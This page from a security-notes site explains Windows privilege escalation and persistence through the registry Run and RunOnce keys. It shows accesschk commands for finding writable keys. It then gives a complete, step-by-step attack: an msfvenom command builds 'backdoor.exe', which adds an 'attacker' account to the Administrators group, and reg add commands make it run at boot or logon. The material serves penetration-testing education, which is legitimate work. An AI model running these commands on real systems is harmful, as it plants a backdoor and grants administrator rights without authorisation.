> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/privilege-escalation/windows/service-enumeration/registry-for-services.md).

# Registry for Services

The Windows Registry can be abused for **persistence** or **privilege escalation** by adding entries to specific keys that are executed during system or user logon.

***

### Target Registry Keys

| Location                                                               | Privilege Level | Description                              |
| ---------------------------------------------------------------------- | --------------- | ---------------------------------------- |
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run`     | System-wide     | Runs on system boot for all users        |
| `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce` | System-wide     | Runs once on next boot, for all users    |
| `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`      | Current user    | Runs on login for current user           |
| `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce`  | Current user    | Runs once on next login for current user |

***

### Check Write Permissions

You can manually check permissions using **Registry Editor (regedit)** or use command-line tools like **`accesschk`** or **PowerShell**.

#### Example (AccessChk):

```cmd
accesschk64.exe -kv "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
accesschk64.exe -kv "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
```

Look for entries where **BUILTIN\Users** or **Authenticated Users** have **WRITE** access.

***

### Exploitation Scenario

If you have **write access** to one of the `Run` or `RunOnce` keys, you can achieve code execution on reboot or next login.

**Generate a Malicious Executable**

```bash
msfvenom -p windows/exec CMD="net localgroup Administrators attacker /add" -f exe -o backdoor.exe
```

**Place the Binary in a Writable Directory**

```cmd
copy backdoor.exe C:\Users\Public\backdoor.exe
```

**Add a Registry Entry**

Use `reg add` to create a persistence key.

```cmd
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v backdoor /t REG_SZ /d "C:\Users\Public\backdoor.exe" /f
```

or for current user:

```cmd
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v backdoor /t REG_SZ /d "C:\Users\Public\backdoor.exe" /f
```

**Wait for Reboot or Login**

On the next reboot (or user login, depending on the key), the binary will be executed.